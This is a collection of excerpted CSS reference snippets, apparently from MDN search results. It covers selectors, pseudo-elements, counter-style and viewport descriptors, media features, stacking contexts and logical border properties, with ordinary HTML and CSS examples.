... ::cue { color: #fff; background-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web video text tracks formatthe definition of '::cue' in that specification.
... candidate recommendation initial definition.
::grammar-error - CSS: Cascading Style Sheets
the ::grammar-error css pseudo-element represents a text segment which the user agent has flagged as grammatically incorrect.
... allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
... html <p>my friends is coming to the party tonight.</p> css ::grammar-error { text-decoration: underline red; color: red; } result specifications specification status comment css pseudo-elements level 4the definition of '::grammar-error' in that specification.
:dir() - CSS: Cascading Style Sheets
WebCSS:dir
(similarly, [dir=rtl] and [dir=ltr] won't match the auto value.) in contrast, :dir() will match the value calculated by the user agent, even if inherited.
... formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) { background-color: yellow; } :dir(rtl) { background-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
... selectors level 4the definition of ':dir()' in that specification.
:first-child - CSS: Cascading Style Sheets
cted.</p> </div> css p:first-child { color: lime; background-color: black; padding: 5px; } result styling a list html <ul> <li>item 1</li> <li>item 2</li> <li>item 3 <ul> <li>item 3.1</li> <li>item 3.2</li> <li>item 3.3</li> </ul> </li> </ul> css ul li { color: blue; } ul li:first-child { color: red; font-weight: bold; } result specifications specification status comment selectors level 4the definition of ':first-child' in that specification.
... selectors level 3the definition of ':first-child' in that specification.
... css level 2 (revision 1)the definition of ':first-child' in that specification.
:first-of-type - CSS: Cascading Style Sheets
syntax :first-of-type examples styling the first paragraph html <h2>heading</h2> <p>paragraph 1</p> <p>paragraph 2</p> css p:first-of-type { color: red; font-style: italic; } result nested elements this example shows how nested elements can also be targeted.
...article> <div>this `div` is first!</div> <div>this <span>nested `span` is first</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <div>this <span>nested `span` gets styled</span>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`.</div> </article> css article :first-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':first-of-type' in that specification.
... selectors level 3the definition of ':first-of-type' in that specification.
:has() - CSS: Cascading Style Sheets
WebCSS:has
in earlier revisions of the css selectors level 4 specification, :has had a limitation that it couldn't be used within stylesheets.
...this limitation has been removed because no browser implemented it that way.
... examples matching <a> elements that directly contain an <img> the following selector matches only <a> elements that directly contain an <img> child: a:has(> img) matching <h1> elements that are followed by a <p> the following selector matches <h1> elements only if they have a <p> element directly following them: h1:has(+ p) specifications specification status comment selectors level 4the definition of ':has()' in that specification.
:indeterminate - CSS: Cascading Style Sheets
css input:indeterminate + label { background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
... html5the definition of ':indeterminate' in that specification.
... selectors level 4the definition of ':indeterminate' in that specification.
:last-of-type - CSS: Cascading Style Sheets
syntax :last-of-type examples styling the last paragraph html <h2>heading</h2> <p>paragraph 1</p> <p>paragraph 2</p> css p:last-of-type { color: red; font-style: italic; } result nested elements this example shows how nested elements can also be targeted.
... html <article> <div>this `div` is first.</div> <div>this <span>nested `span` is last</span>!</div> <div>this <em>nested `em` is first</em>, but this <em>nested `em` is last</em>!</div> <b>this `b` qualifies!</b> <div>this is the final `div`!</div> </article> css article :last-of-type { background-color: pink; } result specifications specification status comment selectors level 4the definition of ':last-of-type' in that specification.
... selectors level 3the definition of ':last-of-type' in that specification.
:left - CSS: Cascading Style Sheets
WebCSS:left
note: this pseudo-class can be used to change only the margin, padding, border, and background properties of the page box.
... syntax :left examples setting a margin for left-hand pages @page :left { margin: 2in 3in; } specifications specification status comment css paged media module level 3the definition of ':left' in that specification.
... css level 2 (revision 1)the definition of ':left' in that specification.
:nth-last-child() - CSS: Cascading Style Sheets
this is accomplished by combining the capabilities of the nth-last-child pseudo-class and the general sibling combinator.
... html <h4>a list of four items (styled):</h4> <ol> <li>one</li> <li>two</li> <li>three</li> <li>four</li> </ol> <h4>a list of two items (unstyled):</h4> <ol> <li>one</li> <li>two</li> </ol> css /* if there are at least three list items, style them all */ li:nth-last-child(n+3), li:nth-last-child(n+3) ~ li { color: red; } result specifications specification status comment selectors level 4the definition of ':nth-last-child' in that specification.
... selectors level 3the definition of ':nth-last-child' in that specification.
:placeholder-shown - CSS: Cascading Style Sheets
html <input placeholder="type something here!"> css input { border: 1px solid black; padding: 3px; } input:placeholder-shown { border-color: teal; color: purple; font-style: italic; } result overflowing text when form fields are too small, placeholder text can get cropped in an undesirable way.
... you can use the text-overflow property to alter the way overflowing text is displayed.
... </p> <p> <label for="sid">enter student id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input { background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown { background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:right - CSS: Cascading Style Sheets
WebCSS:right
note: this pseudo-class can be used to change only the margin, padding, border, and background properties of the page box.
... syntax :right examples setting margins for right-hand pages @page :right { margin: 2in 3in; } specifications specification status comment css paged media module level 3the definition of ':right' in that specification.
... css level 2 (revision 1)the definition of ':right' in that specification.
:root - CSS: Cascading Style Sheets
WebCSS:root
in html, :root represents the <html> element and is identical to the selector html, except that its specificity is higher.
... /* selects the root element of the document: <html> in the case of html */ :root { background: yellow; } syntax :root examples declaring global css variables :root can be useful for declaring global css variables: :root { --main-color: hotpink; --pane-padding: 5px 42px; } specifications specification status comment selectors level 4the definition of ':root' in that specification.
... selectors level 3the definition of ':root' in that specification.
@charset - CSS: Cascading Style Sheets
WebCSS@charset
it must be the first element in the style sheet and not be preceded by any character; as it is not a nested statement, it cannot be used inside conditional group at-rules.
... if several @charset at-rules are defined, only the first one is used, and it cannot be used inside a style attribute on an html element or inside the <style> element where the character set of the html page is relevant.
...tions @charset "utf-8"; /* set the encoding of the style sheet to unicode utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications specification status comment css level 2 (revision 1)the definition of '@charset' in that specification.
additive-symbols - CSS: Cascading Style Sheets
)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples specifying additive symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style additive-symbols-example { system: additive; additive-symbols: v 5, iv 4, i 1; } .list { list-style: additive-symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'additive-symbols' in that specification.
... candidate recommendation initial definition.
fallback - CSS: Cascading Style Sheets
the fallback descriptor can be used to specify a counter style to fall back to if the current counter style cannot create a marker representation for a particular counter value.
...ounter-style-name>where <counter-style-name> = <custom-ident> examples specifying a fallback counter style html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style fallback-example { system: fixed; symbols: "\24b6" "\24b7" "\24b8"; fallback: upper-alpha; } .list { list-style: fallback-example; } result specifications specification status comment css counter styles level 3the definition of 'fallback' in that specification.
... candidate recommendation initial definition ...
negative - CSS: Cascading Style Sheets
)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
... = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples rendering negative counters html <ul class="list" start="-3"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style neg { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; negative: "(-" ")"; } .list { list-style: neg; } result specifications specification status comment css counter styles level 3the definition of 'system' in that specification.
... candidate recommendation initial definition.
prefix - CSS: Cascading Style Sheets
)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...o a counter html <ul class="index"> <li>the boy who lived</li> <li>the vanishing glass</li> <li>the letters from no one</li> <li>the keeper of the keys</li> <li>diagon alley</li> </ul> css @counter-style chapters { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; prefix: 'chapter '; } .index { list-style: chapters; padding-left: 15ch; } result specifications specification status comment css counter styles level 3the definition of 'prefix' in that specification.
... candidate recommendation initial definition.
suffix - CSS: Cascading Style Sheets
)<gradient> = <linear-gradient()> | <repeating-linear-gradient()> | <radial-gradient()> | <repeating-radial-gradient()> | <conic-gradient()>where <image-tags> = ltr | rtl<image-src> = <url> | <string><color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color><image-set-option> = [ <image> | <string> ] <resolution><id-selector> = <hash-token><cf-mixing-image> = <percentage>?
...th-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a suffix for a counter html <ul class="choices"> <li>one</li> <li>two</li> <li>three</li> <li>none of the above</li> </ul> css @counter-style options { system: fixed; symbols: a b c d; suffix: ") "; } .choices { list-style: options; } result specifications specification status comment css counter styles level 3the definition of 'suffix' in that specification.
... candidate recommendation initial definition.
font-variation-settings - CSS: Cascading Style Sheets
each setting is always a <string> of 4 ascii characters, followed by a <number> indicating the axis value.
...the <number> can be fractional or negative.
...l definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | [ <string> <number> ]# examples setting font weight and stretch in a @font-face rule @font-face { font-family: 'opentypefont'; src: url('open_type_font.woff2') format('woff2'); font-weight: normal; font-style: normal; font-variation-settings: 'wght' 400, 'wdth' 300; } specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
-webkit-device-pixel-ratio - CSS: Cascading Style Sheets
it is a range feature, meaning that you can also use the prefixed -webkit-min-device-pixel-ratio and -webkit-max-device-pixel-ratio variants to query minimum and maximum values, respectively.
...although the value is a <number>, and thus doesn't syntactically allow units, its implicit unit is dppx.
...xamples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (-webkit-device-pixel-ratio: 1) { p { color: red; } } /* minimum resolution */ @media (-webkit-min-device-pixel-ratio: 1.1) { p { font-size: 1.5em; } } /* maximum resolution */ @media (-webkit-max-device-pixel-ratio: 3) { p { background: yellow; } } result specifications specification status comment compatibility standardthe definition of '-webkit-device-pixel-ratio' in that specification.
light-level - CSS: Cascading Style Sheets
the light-level css media feature can be used to test the ambient light level.
... washed the device is used in an exceptionally bright environment, causing the screen to be washed out and difficult to read.
... @media (light-level: normal) { p { background: url("texture.jpg"); color: #333; } } @media (light-level: dim) { p { background: #222; color: #ccc; } } @media (light-level: washed) { p { background: white; color: black; font-size: 2em; } } specifications specification status comment media queries level 5the definition of 'light-level' in that specification.
prefers-reduced-transparency - CSS: Cascading Style Sheets
syntax no-preference indicates that the user has made no preference known to the system.
... reduce indicates that user has notified the system that they prefer an interface that minimizes the amount of transparent or translucent layer effects.
... html <div class="transparency">transparent box</div> css .transparency { opacity: 0.5; } @media (prefers-reduced-transparency: reduce) { .transparency { opacity: 1; } } result specifications specification status comment media queries level 5the definition of 'prefers-reduced-transparency' in that specification.
resolution - CSS: Cascading Style Sheets
WebCSS@mediaresolution
the resolution css media feature can be used to test the pixel density of the output device.
...it is a range feature, meaning that you can also use the prefixed min-resolution and max-resolution variants to query minimum and maximum values, respectively.
... examples html <p>this is a test of your device's pixel density.</p> css /* exact resolution */ @media (resolution: 150dpi) { p { color: red; } } /* minimum resolution */ @media (min-resolution: 72dpi) { p { text-decoration: underline; } } /* maximum resolution */ @media (max-resolution: 300dpi) { p { background: yellow; } } result specifications specification status comment media queriesthe definition of 'resolution' in that specification.
shape - CSS: Cascading Style Sheets
WebCSS@mediashape
the shape css media feature can be used to test the shape of the device to distinguish recrangular and round displays.
... syntax the shape descrete feature is specified as one of two acceptable strings, either rect reprsenting a rectangular screen or round representing a circular, oval or elliptical screen.
... <head> <link rel="stylesheet" href="default.css" /> <link media="screen and (shape: rect)" rel="stylesheet" href="rectangle.css" /> <link media="screen and (shape: round)" rel="stylesheet" href="round.css" /> </head> specifications specification status css round display level 1the definition of 'shape' in that specification.
max-height - CSS: Cascading Style Sheets
syntax /* keyword value */ max-height: auto; /* <length> values */ max-height: 400px; max-height: 50em; max-height: 20cm; /* <percentage> value */ max-height: 75%; values auto the used value is calculated from the other css descriptors' values.
... <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths.
...ight of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport max height in pixels @viewport { max-height: 600px; } specifications specification status comment css device adaptationthe definition of '"max-height" descriptor' in that specification.
min-height - CSS: Cascading Style Sheets
syntax /* keyword value */ min-height: auto; /* <length> values */ min-height: 120px; min-height: 20em; min-height: 10cm; /* <percentage> value */ min-height: 25%; values auto the used value is calculated from the other css descriptors' values.
... <percentage> a percentage value relative to the height of the initial viewport at zoom factor 1.0 for vertical lengths.
...ight of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min height in pixels @viewport { min-height: 200px; } specifications specification status comment css device adaptationthe definition of '"min-height" descriptor' in that specification.
min-width - CSS: Cascading Style Sheets
syntax /* keyword value */ min-width: auto; /* <length> values */ min-width: 320px; min-width: 40em; min-width: 5cm; /* <percentage> value */ min-width: 25%; values auto the used value is calculated from the other css descriptors' values.
... <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
... width of the initial viewportcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, auto formal syntax <viewport-length>where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting viewport min width in pixels @viewport { min-width: 200px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
viewport-fit - CSS: Cascading Style Sheets
contain the viewport is scaled to fit the largest rectangle inscribed within the display.
... cover the viewport is scaled to fill the device display.
... formal definition related at-rule@viewportinitial valueautocomputed valueas specified formal syntax auto | contain | cover examples scaling viewport to fit device display @viewport { viewport-fit: cover; } specifications specification status comment css round display level 1the definition of '"viewport-fit" descriptor' in that specification.
width - CSS: Cascading Style Sheets
WebCSS@viewportwidth
syntax /* an example with one viewport value: */ @viewport { width: 320px; } /* an example with two viewport values: */ @viewport { width: 320px, 120px; } values auto the used value is calculated from the other css descriptors' values.
... <percentage> a percentage value relative to the width or height of the initial viewport at zoom factor 1.0, for horizontal and vertical lengths respectively.
...as each of the properties of the shorthand:min-width: the percentage as specified or the absolute lengthmax-width: the percentage as specified or the absolute length or none formal syntax <viewport-length>{1,2}where <viewport-length> = auto | <length-percentage>where <length-percentage> = <length> | <percentage> examples setting minimum and maximum width @viewport { width: 500px; } specifications specification status comment css device adaptationthe definition of '"min-width" descriptor' in that specification.
zoom - CSS: Cascading Style Sheets
WebCSS@viewportzoom
the user agent may use the size of canvas area on which the document is rendered to determine that factor.
... formal definition related at-rule@viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting viewport zoom factor @viewport { zoom: 2.0; } specifications specification status comment css device adaptationthe definition of '"zoom" descriptor' in that specification.
... working draft initial specification ...
Adjacent sibling combinator - CSS: Cascading Style Sheets
/* paragraphs that come immediately after any image */ img + p { font-weight: bold; } syntax former_element + target_element { style properties } examples css li:first-of-type + li { color: red; } html <ul> <li>one</li> <li>two!</li> <li>three</li> </ul> result specifications specification status comment selectors level 4the definition of 'next-sibling combinator' in that specification.
... selectors level 3the definition of 'adjacent sibling combinator' in that specification.
... recommendation css level 2 (revision 1)the definition of 'adjacent sibling selectors' in that specification.
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
if the box-sizing property is set to content-box (default) and if the element is a block element, the content area's size can be explicitly defined with the width, min-width, max-width, height, min-height, and max-height properties.
...if the box-sizing property is set to border-box, the border area's size can be explicitly defined with the width, min-width, max-width, height, min-height, and max-height properties.
...this default behavior can be altered with the background-clip css property.
Mastering margin collapsing - CSS: Cascading Style Sheets
margin collapsing occurs in three basic cases: adjacent siblings the margins of adjacent siblings are collapsed (except when the latter sibling needs to be cleared past floats).
... some things to note: more complex margin collapsing (of more than two margins) occurs when the above cases are combined.
... <p>this paragraph has a <code>.4rem</code> margin between it and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; background: lavender; } p { margin: .4rem 0 1.2rem 0; background: yellow; } result specifications specification status comment css level 2 (revision 1)the definition of 'margin collapsing' in that specification.
Handling Overflow in Multicol - CSS: Cascading Style Sheets
you can see an example of this below, with an image of the expected rendering as, at the time of writing, browsers deal with this differently.
... in a future version of the specification it would be useful to be able to have overflow columns in continuous media display in the block direction, therefore allowing the reader to scroll down to view the next set of columns.
... using vertical media queries one issue with multicol on the web is that, if your columns are taller than the viewport, the reader will need to scroll up and down to read, which is not good user experience.
CSS Grid Layout - CSS: Cascading Style Sheets
s <flex> glossary entries grid grid lines grid tracks grid cell grid area gutters grid axis grid row grid column guides basic concepts of grid layout relationship of grid layout to other layout methods layout using line-based placement grid template areas layout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising common layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples from jen simmons grid by example - a collection of usage examples and video tutorials codrops grid reference firefox devtools css grid inspector css grid playground grid garden - a ...
...game for learning css grid specifications specification status comment css grid layout module level 2 working draft added subgrids.
... css grid layout candidate recommendation initial definition.
CSS Miscellaneous - CSS: Cascading Style Sheets
these pages contain css properties that are highly experimental or don't fit in any other categories.
... specifications these properties are mostly unrelated to each other.
... consult their individual pages for specifications.
CSS Overflow - CSS: Cascading Style Sheets
the overflow properties are how we can control what happens when content overflows a box.
... reference css properties overflow overflow-block overflow-inline overflow-x overflow-y text-overflow block-overflow line-clamp max-lines continue non-standard properties -webkit-line-clamp specifications specification status comment css overflow module level 3the definition of 'overflow' in that specification.
... working draft changed syntax to allow one or two keywords instead of only one css level 2 (revision 1)the definition of 'overflow' in that specification.
Using z-index - CSS: Cascading Style Sheets
if you want to create a custom stacking order, you can use the z-index property on a positioned element.
... the z-index property can be specified with an integer value (positive, zero, or negative), which represents the position of the element along the z-axis.
...layers are rendered in numerical order, with larger numbers above smaller numbers.
Stacking with floated blocks - CSS: Cascading Style Sheets
floating blocks are placed between non-positioned blocks and positioned blocks: the background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant positioned elements, in order of appearance in the html actually, as you can see in the example below, the background and border of the non-positioned block (div #4) is completely unaffected by floating blocks, but the content is affected.
...this behavior can be shown with an added rule to the above list: the background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the background and border of that block pops up above the floating blocks and the positioned blocks.
... this is due to a peculiar part of the specification: applying a opacity value creates a new stacking context (see what no one told you about z-index).
Stacking context example 3 - CSS: Cascading Style Sheets
let's take as an example a three-level hierarchical menu made from several positioned divs.
... so a third-level menu will be stacked under the following second-level menus, because all second-level menus share the same z-index value and the default stacking rules apply.
... level #1 this problem can be avoided by removing overlapping between different level menus, or by using individual (and different) z-index values assigned through the id selector instead of class selector, or by flattening the html hierarchy.
CSS Shapes - CSS: Cascading Style Sheets
for the level 1 specification, css shapes can be applied to floating elements.
... the specification defines a number of different ways to define a shape on a floated element, causing wrapping lines to wrap round the shape rather than following the rectangle of the element's box.
...svg: shapes and arbitrarily-shaped ui components specifications specification status comment css shapes module level 1 candidate recommendation initial definition ...
CSS Transforms - CSS: Cascading Style Sheets
css transforms is a module of css that defines how elements styled with css can be transformed in two-dimensional or three-dimensional space.
... reference properties backface-visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transforms step-by-step tutorial about how to transform elements styled with css.
... specifications specification status comment css transforms level 1 working draft initial definition.
CSS data types - CSS: Cascading Style Sheets
WebCSSCSS Types
css data types define typical values (including keywords and units) accepted by css properties and functions.
... index the data types defined by the set of css specifications include the following: <angle> <angle-percentage> <angular-color-hint> <angular-color-stop> <attr-fallback> <attr-name> <basic-shape> <blend-mode> <calc-product> <calc-sum> <calc-value> <color> <color-stop> <color-stop-angle> <counter-style> <custom-ident> <dimension> <filter-function> <flex> <frequency> <frequency-percentage> <gradient> <ident> <image> <integer> <length> <length-percentage> <number> <number-percentage> <percentage> <position> <quote> <ratio> <resolution> <shape-box> <shape-radius> <string> <time> <time-percentage> <ti...
...ming-function> <toggle-value> <transform-function> <type-or-unit> <url> <url-modifier> <zero> specifications specification status comment css values and units module level 4 editor's draft css values and units module level 3 candidate recommendation initial definition.
Child combinator - CSS: Cascading Style Sheets
<span>span #2, in the span that's in the div.</span> </span> </div> <span>span #3, not in the div at all.</span> result specifications specification status comment selectors level 4the definition of 'child combinator' in that specification.
... working draft selectors level 3the definition of 'child combinators' in that specification.
... css level 2 (revision 1)the definition of 'child selectors' in that specification.
Breadcrumb Navigation - CSS: Cascading Style Sheets
breadcrumb navigation helps the user to understand their location in the website by providing a breadcrumb trail back to the start page.
... requirements the items typically display inline with a separator to indicate a hierarchy between individual pages.
... choices made this pattern is laid out using a simple flex layout demonstrating how a line of css can give us our navigation.
CSS Layout cookbook - CSS: Cascading Style Sheets
in addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer.
... css grid, multicol, flexbox center an element how to center an item horizontally and vertically.
... flexbox, box alignment card a card component, which displays in a grid of cards.
Layout mode - CSS: Cascading Style Sheets
a css layout mode, sometimes simply called layout, is an algorithm that determines the position and size of boxes based on the way they interact with their sibling and ancestor boxes.
... float layout, designed to cause an item to position itself left or right with the rest of the content in normal flow wrapping around it.
... flexible box layout, designed for laying out complex pages that can be resized smoothly.
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
they are grouped by complexity so that you can choose the most appropriate for your level.
... editor's note: we should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built.
... scaling background images css allows you to resize images used as an element's background.
align-self - CSS: Cascading Style Sheets
tart | end | self-start | self-end | flex-start | flex-end examples html <section> <div>item #1</div> <div>item #2</div> <div>item #3</div> </section> css section { display: flex; align-items: center; height: 120px; background: beige; } div { height: 60px; background: cyan; margin: 5px; } div:nth-child(3) { align-self: flex-end; background: pink; } result specifications specification status comment css box alignment module level 3the definition of 'align-self' in that specification.
... css flexible box layout modulethe definition of 'align-self' in that specification.
... candidate recommendation initial definition.
animation-fill-mode - CSS: Cascading Style Sheets
formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-fill-mode>#where <single-animation-fill-mode> = none | forwards | backwards | both examples you can see the effect of animation-fill-mode in the following example.
... it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than reverting to the original state (which is the default).
... specifications specification status comment css animationsthe definition of 'animation-fill-mode' in that specification.
border-block-color - CSS: Cascading Style Sheets
the border-block-color css property defines the color of the logical block borders of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... border-block-color: yellow; border-block-color: #f5f6f7; the border color in the other dimension can be set with border-inline-color which sets border-inline-start-color, and border-inline-end-color.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typediscrete formal syntax <'border-top-color'>{1,2} examples border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-color' in that specification.
border-block-end-color - CSS: Cascading Style Sheets
the border-block-end-color css property defines the color of the logical block-end border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-end-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'borde...
...r-block-end-color' in that specification.
border-block-end-style - CSS: Cascading Style Sheets
the border-block-end-style css property defines the style of the logical block-end border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-end-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'bor...
...der-block-end-style' in that specification.
border-block-end-width - CSS: Cascading Style Sheets
the border-block-end-width css property defines the width of the logical block-end border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with veritcal text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px sol...
...id blue; border-block-end-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-end-width' in that specification.
border-block-start-color - CSS: Cascading Style Sheets
the border-block-start-color css property defines the color of the logical block-start border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation.
... values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples border color with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 10px solid blue; border-block-start-color: red; } results specifications specification status comment css logical properties and values level 1the definition of 'bor...
...der-block-start-color' in that specification.
border-block-start-style - CSS: Cascading Style Sheets
the border-block-start-style css property defines the style of the logical block start border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples dashed border wtih vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-block-start-style: dashed; } results specifications specification status comment css logical properties and values level 1the definition of 'b...
...order-block-start-style' in that specification.
border-block-start-width - CSS: Cascading Style Sheets
the border-block-start-width css property defines the width of the logical block-start border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation.
... initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length values <'border-width'> the width of the border.
... formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length formal syntax <'border-top-width'> examples border width with vertical text html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 1px solid blue; border-block-start-width: 5px; } results specifications specification status comment css logical properties and values level 1the definition of 'border-block-start-width' in that specification.
border-block-style - CSS: Cascading Style Sheets
the border-block-style css property defines the style of the logical block borders of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation.
... /* <'border-style'> values */ border-block-style: dashed; border-block-style: dotted; border-block-style: groove; the border style in the other dimension can be set with border-inline-style, which sets border-inline-start-style, and border-inline-end-style.
